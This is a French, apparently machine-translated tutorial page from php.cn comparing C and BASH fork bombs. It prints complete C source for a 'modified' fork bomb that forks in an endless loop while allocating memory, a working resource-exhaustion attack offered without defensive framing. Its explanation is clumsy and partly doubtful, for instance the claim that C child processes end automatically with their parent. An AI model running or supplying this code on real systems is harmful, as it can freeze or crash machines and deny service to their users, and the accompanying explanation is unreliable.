Maison > développement back-end > C++ > En C/C++, C vs BASH Fork bomb signifie la bombe fork du langage C et du langage BASH.

En C/C++, C vs BASH Fork bomb signifie la bombe fork du langage C et du langage BASH.

WBOY
Libérer: 2023-09-14 19:41:02
avant
1426 Les gens l'ont consulté

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

Il a été établi que la bombe fourchette BASH est beaucoup plus puissante que son homologue du programme C. La raison principale est que le processus créé dans BASH est détaché du processus parent. Si le processus parent (celui que nous avons initialement démarré) est détruit ou terminé, les processus restants continueront d'exister. Mais dans le cas de l'implémentation C, les processus enfants répertoriés sont automatiquement terminés si le processus parent est détruit ou terminé. Le script est chargé de communiquer directement avec le système.

Le programme de bombe de fork en langage C peut être mis à jour ou modifié. Nous pouvons allouer de la mémoire dans le programme lors de la création du processus fork.

Le programme suivant est considéré comme une implémentation d'une bombe fourchette C modifiée -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}
Copier après la connexion

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

source:tutorialspoint.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal